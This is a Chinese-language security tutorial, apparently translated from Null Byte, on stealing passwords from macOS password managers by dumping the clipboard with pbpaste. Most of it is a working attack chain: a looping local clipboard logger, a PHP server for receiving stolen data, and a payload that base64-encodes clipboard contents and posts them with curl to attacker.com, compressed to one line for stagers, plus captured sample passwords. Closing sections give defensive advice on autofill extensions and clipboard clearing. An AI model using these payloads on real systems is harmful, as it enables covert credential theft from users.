- 注意防御建议
KeePassX、1Password 和 LastPass 对键盘记录器、网络钓鱼、和数据库违规很有效,但是,密码管理器依靠操作系统的剪贴板将凭据从密码库安全地移动到Web浏览器。这是个问题。
攻击者可以在几秒钟内转储剪贴板内容以泄露密码。
以下是两种针对密码管理器的剪贴板转储攻击方案,它们都利用了所有 macOS 版本中的 pbpaste 命令。
Pbpaste 将获取剪贴板中找到的所有数据(包括密码)并将其写入标准输出。任何 macOS 用户都可以尝试以下操作:首先将密码复制到剪贴板,然后立即在终端中键入 pbpaste。
执行 pbpaste 不需要特殊的特权,并且剪贴板可以写入任何文件,如下所示。这会影响 KeePassX、1Password、LastPass,甚至是苹果自己的内置 iCloud 钥匙串密码管理器。
~$ pbpaste >>/tmp/clipboard.txt
在这里看到 null-byte 的视频解说:
选项1:在本地转储剪贴板
场景:攻击者建立了持久的后门,并希望长时间收集存储在 KeePassX、1Password 或 LastPass 中的密码。
MacOS 在防止键盘记录程序方面已经更好,任何在桌面上进行实时直播的人都无法取消隐藏或显示密码管理器中存储的凭据。
攻击者可以将剪贴板转储到本地文件中,并偶尔检查其中是否有新的密码。一个具有5秒延迟的无限 while 循环应该可以解决问题。
~$ while true; do echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt && sleep 5; done
while 循环将执行 pbpaste 并暂停(睡眠)五秒钟。循环中的命令将一遍又一遍地重复,重复地转储剪贴板中找到的所有内容。
echo 引入了为每个条目创建换行符 (\n) 的功能,以防止数据在同一行上串联。
从其他 Netcat 外壳中,使用 cat 或 tail 来查看 clipboard.txt 文件的内容。
~$ tail -f /tmp/clipboard.txt
tail 跟随(-f)将更改附加到文件,立即打印在剪贴板中发现的新内容。
通过评估剪贴板内容并将其与文件中的最后一个条目进行比较,可以防止 Clipboard.txt 文件被重复的行所淹没。
~$ while true; do if [[ "$(pbpaste)" != "$(tail -n1 /tmp/clipboard.txt)" ]]; then echo -e "\n$(pbpaste)" >>/tmp/clipboard.txt; fi && sleep 5;done
仅当当前剪贴板内容不等于 (!=) clipboard.txt 中的最后一个条目 (tail -n1) 时,pbpaste才会更新文件。
但是,该解决方案有些缺陷。
if 语句仅比较 clipboard.txt 文件的最后一行,因此,如果剪贴板中有多行,它将无法将其识别为重复条目。
但这对本文和大多数情况都有用。您可以花一点时间来设计一个健壮、适当的解决方案,以此为基础。
选项2:将密码泄露到远程服务器
场景:攻击者不在乎远程访问 MacBook。有效载荷被设计为每隔一段时间将剪贴板泄漏到攻击者的服务器。
在这种情况下,攻击者仅关心泄漏剪贴板,而没有将 MacBook 后门。
相反,他们找到了一种在目标 macOS 设备上远程执行代码的方法。
设置此攻击涉及由攻击者控制的PHP服务器,该服务器用于拦截泄露的数据。在 null-byte 的示例中使用了一个 Debian 虚拟专用服务器。
第一步:安装PHP
首先,使用以下 apt-get 命令安装 php,该命令将在 Debian 和 Kali Linux 中运行。
~# apt-get update && apt-get install php
Ign:1 http://http.us.debian.org/debian stretch InRelease
Hit:2 http://http.us.debian.org/debian stretch-updates InRelease
Hit:3 http://security.debian.org/debian-security stretch/updates InRelease
Hit:4 http://http.us.debian.org/debian stretch Release
Reading package lists... Done
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
apache2-bin libapache2-mod-php7.0 libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap liblua5.2-0 php
php-common php7.0 php7.0-cli php7.0-common php7.0-json php7.0-opcache php7.0-readline psmisc
0 upgraded, 16 newly installed, 0 to remove and 0 not upgraded.
Need to get 5,209 kB of archives.
After this operation, 19.9 MB of additional disk space will be used.
Do you want to continue? [Y/n]
使用以下 mkdir 命令创建一个名为 “phpServer /” 的目录。
~# mkdir phpServer/
使用 cd 命令切换到 phpServer / 目录。
~# cd phpServer/
用 nano 创建一个名为 “index.php” 的文件。
~/phpServer# nano index.php
将以下 PHP 代码粘贴到 nano 终端中。完成后,要保存并退出 nano 终端,请按 Ctrl + x,然后按 y,然后按 Enter。
<?php
$input = file_get_contents("php://input");
$log = file_put_contents('clipboard.txt', $input.PHP_EOL , FILE_APPEND | LOCK_EX);
?>
这个简单的PHP服务器能够拦截数据,无需进行任何修改即可运行。当 MacBook 发送剪贴板内容时,服务器将捕获数据并将其附加到名为 “clipboard.txt” 的文件中。
最后,使用 php -S 0.0.0.0:80 命令启动PHP服务器。
~/phpServer# php -S 0.0.0.0:80
PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun 9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.
第二步:创建有效载荷
下面的脚本将当前剪贴板内容与发送给攻击者服务器的最新剪贴板内容进行比较。为了清楚起见,它采用标准的shell脚本格式,以留出注释空间。
# While loop to dump the clipboard over and over again, infinitely.
while true; do
# An `if` statement, compares the current clipboard
# content to the content found in the last loop.
if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then
# A `p` to store the encoded clipboard contents. The
# contents must be encoded before sending to the
# attacker's server to prevent it from breaking the
# proceeding curl command.
p="$(echo $(pbpaste) | base64)"
# Curl takes the encoded string and delivers it to
# the attacker's server via POST request.
curl --data "$p" -X POST 'http://attacker.com/'
# The `pbpaste_last` variable is updated. This variable
# is evaluated in the following loop.
pbpaste_last="$(pbpaste)"
# Delay for 5 seconds before checking the clipboard
# for new contents. Decreasing this value will cause
# the script to evaluate the clipboard more frequently,
# but will have a negative impact on the MacBook's
# CPU. Increasing the value may cause the script to
# miss a valuable password. Adjust as needed.
sleep 5
fi
done
将脚本压缩到一行以使其方便地适合各种类型的 stager。
while true; do if [[ "$(pbpaste)" != "$pbpaste_last" ]]; then p="$(echo $(pbpaste) | base64)"; curl --data "$p" -X POST 'http://attacker.com/' && pbpaste_last="$(pbpaste)"; sleep 5; fi; done
第三步:检查被窃取的数据
当PHP服务器接收剪贴板数据时,它将表明数据的来源(IP地址)以及日期和时间。按 Ctrl + c 停止PHP服务器。
PHP 7.0.33-0+deb9u3 Development Server started at Sun Jun 9 08:38:55 2019
Listening on http://0.0.0.0:80
Document root is /root/phpServer
Press Ctrl-C to quit.
[Sun Jun 9 09:03:23 2019] 23.129.64.153:63761 [200]: /
[Sun Jun 9 09:03:33 2019] 23.129.64.153:46089 [200]: /
[Sun Jun 9 09:03:50 2019] 23.129.64.184:13728 [200]: /
[Sun Jun 9 09:03:56 2019] 199.195.250.77:38894 [200]: /
[Sun Jun 9 09:04:02 2019] 199.195.250.77:40646 [200]: /
[Sun Jun 9 09:04:10 2019] 209.141.58.114:45602 [200]: /
使用 cat 查看 clipboard.txt 的内容以找到编码后的密码。
KeePassX 和 1Password 分别在十秒和三十秒后自动清除剪贴板。LastPass 声明 “在默认时间后” 清除剪贴板。 MacBook 显示为“Cg==”。
~/phpServer# cat clipboard.txt
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
dGhpcyBpcyBteSBwYXNzd29yZAo=
UHdVN1YzWzg3a3ZUPyNed01QKF9jVHltNj8iPjoifTp7Kl5gYH4K
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
Cg==
WVQ0bjNNNHNDcGpwc1RWN0xrWm9LCg==
以下命令将自动解码 clipboard.txt 文件中的所有 base64 字符串。以下所有字符串都是使用 KeePassX、1Password 和 LastPass 时被捕获的密码。
~/phpServer# cat clipboard.txt | while read -r password; do base64 -d <<< "$password"; done
YT4n3M4sCpjpsTV7LkZoK
this is my password
PwU7V3[87kvT?#^wMP(_cTym6?">:"}:{*^``~
YT4n3M4sCpjpsTV7LkZoK
结论
鼓励渗透测试人员使用受感染操作系统中已经存在的尽可能多的资源(即 “living off the land”)。像 cURL,Netcat,Bash 和 LibreSSL 一样,pbpaste 是又一个内置工具,很容易被黑客滥用。
攻击者将探索各种途径,以发现目标的登录密码。 Pbpaste 使转储存储在密码管理器中的凭据变得非常容易。
如何保护自己免受这种攻击?
为防止攻击者有机会转储剪贴板,请安装官方的 1Password 浏览器扩展程序或 LastPass 浏览器扩展程序。它们可用于所有现代Web浏览器。
对于 KeePassX 用户,也存在类似的浏览器扩展,但没有经过官方审核或测试。
对于 1Password,安装扩展后,在出现提示时启用 “1Password Extension Helper”。然后,它将允许 1Password 在登录网站时自动填充凭据。
自动填充完全不使用剪贴板,因此可以防止剪贴板攻击。 LastPass 扩展的过程与此类似。
请记住,这两种方法都不会100%地起作用。有时,当网站上的自动填充无效时,有必要将密码复制到剪贴板。
如果必须复制密码,则可以调整密码管理器的剪贴板设置。
例如,您可以打开 1Password 的首选项,选择 “安全性”,然后通过 “清除之后的剪贴板内容” 以秒为单位输入时间。使其尽可能短。
在上述入侵中,我们使用了五秒钟的间隔,因此三或四秒可能也有用,但这并不意味着攻击者在非常短的时间内无法获取密码。
总体而言,没有一种内置方法可以在设置的时间后或粘贴项目后立即清除 macOS 上的剪贴板,因此也不建议这样做,因为剪贴板不仅用于密码。
您可以为 “清除剪贴板” 构建服务,并为其分配键盘快捷键,例如 Command + 向下箭头。然后,您可以在粘贴密码后手动清除剪贴板,因此内容在其中放置的时间不会超过必要的时间。
最后,使用 1Password 的浏览器扩展不仅大大减少了使用剪贴板存储秘密的需求,而且还可以保护您免受网络钓鱼攻击,因为它只填充到您已经注册的网页上。
建议(一如既往):
- 使您的系统和软件保持最新(个人计算机的大多数妥协是通过利用软件和系统供应商已修补的漏洞)
- 尽可能使用精选的应用商店。这将大大减少您将恶意软件(例如剪贴板刮刀)安装到自己的系统上的机会。
⚪️